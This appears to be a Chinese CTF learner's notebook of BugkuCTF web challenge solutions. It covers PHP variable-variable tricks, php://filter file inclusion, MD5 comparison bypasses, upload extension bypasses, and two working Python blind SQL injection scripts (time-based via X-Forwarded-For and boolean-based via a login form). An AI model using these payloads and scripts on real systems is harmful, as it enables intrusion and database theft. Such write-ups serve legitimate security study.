认真你就输了,一直认真你就赢了
前言:
此文用于记录做BugkuCTF时遇到的知识,主要为了巩固和查阅。
记录各种知识
1.stripos(字符串a,字符串b)函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)
2.file_get_contents 将整个文件读入一个字符串
3.eregi("111".substr($b,0,1),"1114") 判断”1114”这个字符串里面是否有符合”111”.substr($b,0,1)这个规则的
4.关于正则:
- 表达式直接写出来的字符串直接利用,如key
- “.”代表任意字符,除 “\n” 之外
- “*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次
\/代表“/”- [a-z]代表a-z中的任意一个字符
- [[:punct:]]代表任意一个字符,包括各种符号
- /i代表大小写不敏感
- 更多:1.正则表达式小记 2.15个常用的javaScript正则表达式 3.正则表达式中各种字符的含义
5.常见web源码泄露总结
6.mysql_real_escape_string(): PHP mysql_real_escape_string() 函数
7.get_magic_quotes_gpc()与addslashes()
bugku 变量1
1 | http://123.206.87.240:8004/index1.php |
最关键的是最后的eval("var_dump($$args);"); 其中
eval将字符串作为php代码执行,结尾加分号。var_dump()函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。如果是数组,将递归展开值,通过缩进显示其结构。
$$args可以理解为$($args)这是可变变量的意思,即$args的值是另一个变量的变量名。而$$args代表另一个变量的值。
上图表明:变量b的值是变量a的名,所以$$b则为变量a的值。
此题提示为:flag In the variable ! 需要输入变量arg的值,而且用到了可变变量,说明变量arg的值应该为另一个变量的名(在这此变量只能是全局变量)
PHP的九大全局变量
$_POST[用于接收post提交的数据]$_GET[用于获取url地址栏的参数数据]$_FILES[用于文件接收的处理,img最常见]$_COOKIE[用于获取与setCookie()中的name值]$_SESSION[用于存储session的值或获取session中的值]$_REQUEST[具有get,post的功能,但比较慢]SERVER[是预定义服务器变量的一种]$GLOBALS[一个包含了全部全局变量的全局组合数组]$_ENV[ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]
此题为全局变量$GLOBALS,PHP 在名为 $GLOBALS[index]的数组中存储了所有全局变量。变量的名字就是数组的键。


bugku flag在index里
1.文件包含漏洞: 此题学习关于文件包含漏洞。
2.点击显示test5的url http://120.24.86.145:8005/post/index.php?file=show.php中参数有file选项,联想到了文件包含漏洞。
3.构造:http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 返回指定文件源码:1
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
进行转码:即得到flag1
2
3
4
5
6
7
8
9
10
11
12
13
14 <title>Bugku-ctf</title>
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
</html>
具体说说file=php://filter/read=convert.base64-encode/resource=index.php的含义
首先:

1.首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
2.通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
3.而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。
自:https://blog.csdn.net/zpy1998zpy/article/details/80585443
关于文件包含:
Bugku 备份是个好习惯
1.得到的字符串应该细心观察,此题的字符串分两段而且相同,均为d41d8cd98f00b204e9800998ecf8427e。
2.提示备份,网站中应该存在相应文档,一般为.bak文档(bak为网站的备份文件)
3.可以使用御剑扫描(没成功)或脚本大佬写的脚本进行扫描。
4.得到文件index.php.bak,打开:
1 |
|
5.分析代码:
(1)strstr() 返回关键字之后的字符串一直到末尾。strstr(string,search,before_search) string(必须)被搜索的字符串,search(必须)关键字,beore_search(可选)默认为”false”的布尔值,如果设置为”ture”,它将返回search参数第一次出现之前的字符串部分
(2)parse_str() 函数把查询字符串解析到变量中 parse_str(string,array) 如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量,这里即覆盖到key1和key2
(3)其他函数分析,请参考:BugkuCTF –WEB-备份是个好习惯
6.最后的条件判断为关键,即想办法满足if(md5($key1) == md5($key2) && $key1 !== $key2)这个条件,这个条件的意思是,通过参数对key1,key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag。此外,需要绕过过滤,可用kekeyy
7.要满足条件有两种方法:
(1)md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
(2)利用==比较漏洞,如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是0,都是相等的。有:
1 | QNKCDZO |
8.尝试:
(1)http://123.206.87.240:8002/web16/index.php?kkeyey1[]=something&kkeyey2[]=anything

(2)http://123.206.87.240:8002/web16/index.php?kekeyy1=s878926199a&kekeyy2=s155964671a
Bugku never give up
【Bugku CTF】 Web —— never give up(写的很细,多看看)
Bugku welcome to the bugkuctf
此题不知怎的,老没反应,以后再试试。
1.了解关于序列化与反序列化serialize() 产生一个可存储的值的表示,serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。unserialize() 从已存储的表示中创建 PHP 的值,即对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

2.学习 php://input协议:

在这里:
1 | $user = $_GET["txt"]; |
当传进去的参数(txt)作为文件名变量($user)去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取。
大致的意思是让txt=php://input 之后,再post过去一个字符串作为内容。
3.file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)所以使用上面的方法才可以达到题目的要求。
Bugku 过狗一句话
1.关于explode() exlpde()以#分割a#s#s#e#r#t为相应数组
2.解题payload:?s=print_r(scandir('./')) 查看当前目录内容,然后在访问相应内容即可。
3.技巧:利用此漏洞查询其他内容
返回上级目录payload:?s=print_r(scandir('../')) 依次访问相应的内容即可。
Bugku getshell
这次还是没直接做出来,之前做过类似的,用php5就绕过了,这个要修改三个地方:
1、扩展名
2、Content-Type:image/jpeg(如果上传前的本就是图片则不需要)
3、Content-Type字段,进行大小写绕过,也就是把multipart/form-data中任意一个字母改成大写即可
关于扩展名:
可尝试php2, php3, php4, php5,phps, pht, phtm, phtml

Bugku INSERT INTO注入
1.题目给了源码:
1 | error_reporting(0); |
可知这是X_FORWARDED_FOR注入,但是过滤了, (在10行的时候$ip被截取了$ip_arr = explode(',', $ip); explode函数的作用是按规则拆分为数组) 在,被过滤的情况下,无法使用if语句。同时,也无法使用substr()
2.寻找替代:
if 可用select case when xxx then xxx else xxx end;替代
substr可以使用from 1 for 1替代
3.开始构造,发现回显的是IP,且已知为X_FORWARDED_FOR注入,构造语句用于insert into语句中,加上没有错误回显。所以,考虑时间延迟型盲注:这种注入手动太麻烦,需要脚本:
4.时间延迟型盲注:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44#!/usr/bin/env python
# -*- coding:utf-8 -*-
import string
import requests
# 引入所有可打印字符
allString = string.printable
print(allString)
url = "http://123.206.87.240:8002/web15/"
# data = "11' + (select case when (substr((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #"
# 上面的为+号,也可以。但+号不是连接,就是单纯的加。
# 在MySQL中,若为数字型字符加,会转变为相应数字再相加,若为字符串,则返回0 此外 --+发现不行
# 查询数据库名,得 web15
# data = "11' and (select case when (substr((select database()) from {0} for 1 )='{1}') then sleep(4) else 1 end )) #"
# 查询存在的表,得 client_ip,flag
# data = "11' and (select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from {0} for 1 )='{1}') then sleep(4) else 1 end )) #"
# 查字段 得 flag
# data = "11' and (select case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {0} for 1 )='{1}') then sleep(4) else 1 end )) #"
# 查内容,即查flag cdbf14c9151d5be5612f7bb5d2867853
data = "11' and (select case when (substr((select group_concat(flag) from flag) from {0} for 1 )='{1}') then sleep(4) else 1 end )) #"
flag = ""
# 这里没有查各个内容的具体长度,而是使用了一个较大的值39,当爆相关内容的时候,若结束,后面的查询便不变,自己结束运行即可。
# 假设flag长度最大不超过38,实际上长度为32
for i in range(1, 39):
print("正在猜测第%d个字符:" % (i))
for ch in allString:
# format是格式化输出语句,i给到data语句的{0}位置,ch给到{1}的位置。
words = data.format(i, ch)
header = {
# 将伪造的注入命令传入X-Forward-For进行注入
"x-forwarded-for": words
}
try:
# 如果对了,会执行sleep(4) 对脚本来说属于异常,就跳到异常
result = requests.get(url, headers=header, timeout=3)
except:
flag += ch
print(flag)
# 当找到对应字段后,立即结束此字段的查询
break
5.成功获取flag
Bugku PHP_encrypt_1(ISCCCTF)
1.这个,还是的写脚本,不过这次是由加密函数写解密函数,而且解密函数挺简单的。不过在写时遇到不少坑,最主要的是在使用进行相关的编码或加密时,需要先转化为字节型字符串。因为python3里默认的str是unicode,不解码便会出错。
2.直接给出代码:
1 | #!/usr/bin/env python |
3.得到flag

bugku sql注入2
1.题目一开始就提示为全都过滤了,只有!,!=,=,+,-,^,%等没有过滤。
2.试了多次,发现按基本的注入行不通,因为各种注入型都或多或少需要and,or,where等,所以只能考虑从密码入手。
3.那应该怎么做,自己真的没想到,但发现不同错误回显不同。
方法一
1.参考大佬博客:BUGKU中的sql注入2, 原来还可这么用:
其实也是自己不会变通,在上面的insert into注入题目中,发现了在MySQL中,若为数字型字符加,会转变为相应数字再相加,若为字符串,则返回0
2.这里正是运用了这个原理,下面具体尝试相关内容:

3.构造语句为:

这里在注入中构造为:admin'+语句+' 加上后面的''是为了语句能够正常执行,否则会报错:

4.进行加减的各种情况:

表明:若以数字开头就转为相应的数字,否则为0
5.会用了加减号,但是构造时,,也是过滤的,要一个一个字符试出来。
之前可以这样绕过substr(database()from(1)for(1))==substr(database(),1,1) 可是现在for也被过滤了(有or)。
这里可使用substr(database()from(1)),如果默认不加后面的参数的话他会返回后面所有的字符串,但是,如果取其ASCII码时会默认取第一个字符的ASCII码,所以可用。

6.好了,现在尝试语句是否构造成功,先看数据库第一个字符:构造admin'-(ascii(substr(database()from(1)))=ascii('a'))-'

显示密码错误,说明(ascii(substr(database()from(1)))=ascii('a'))结果为0,运算0-0-0=0后,没有任何用户密码为as,故提示密码不正确。即第一个字符不是字符a

显示为用户名错误,说明(ascii(substr(database()from(1)))=ascii('a'))结果为1,运算0-1-0=-1后,没有用户名为-1的用户,说明第一个字符即是c
这里其实是用BurpSuite直接爆得的,但因为返回的长度都是相等的(password error!!@_@和username error!!@_@长度相等),所以得一个一个查看返回信息。个人觉得相对于一个一个字母输还是比较方便的。
7.语句构造成功,现在直接脚本爆破密码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests as rq
import string
flag = ""
url = 'http://123.206.87.240:8007/web2/login.php'
cookie = {
'PHPSESSID': 'ugi4pbrvso1cmp652ijne95k32qjsp38'
}
for i in range(1, 39):
print("正在测试第%d个字符:" % i)
for j in string.printable:
# 先看看数据库名,用于测试脚本,发现当测试的字符为单引号和反斜杠时,也会存入flag中。
# 出现这样的情况,一般表明已经测试完成,因为不管是什么字段,都不太可能用这些字符。
# uname1 = "admin'-(ascii(substr(database()from({0})))=ascii('{1}'))-'"
# 由于过滤太狠了,这里直接从密码下手,爆出密码,后面出现单引号说明已经结束
uname1 = "admin'+(ascii(substr((passwd)from({0})))=ascii('{1}'))+'"
uname2 = uname1.format(i, j)
data = {'uname': uname2, 'passwd': 'as'}
r = rq.post(url=url, data=data, cookies=cookie)
if "username error!!@_@" in r.text:
flag += j
print(flag)
break
得到:

长度为32,应该是md5,找个网站解一下就好。然后将密码登录,按提示执行ls即出flag。
这里发现结束后查出的为单引号,看一下怎么回事:
当测试字符为单引号时,语句为admin'-(ascii(substr(database()from(9)))=ascii('''))-' 这时相当于多了一个单引号,引号不闭合,导致出错,但是依然满足脚本条件,所以打印出来了。
原来以为是这种情况,就是测出了所以字符后,没有字符了(图片中数据库名为security,共8个字符)但这里不是,这里了解一下就好。

方法二
1.这道题也属于典型的DS_Store源码泄露,当然还有其他类型(常见web源码泄露总结)
2.DS_Store下载地址:https://github.com/lijiejie/ds_store_exp
3.直接用脚本跑:python2 ds_store_exp.py http://123.206.87.240:8007/we
b2/.DS_Store

4.访问:123.206.87.240:8007/web2/flag 得flag:
###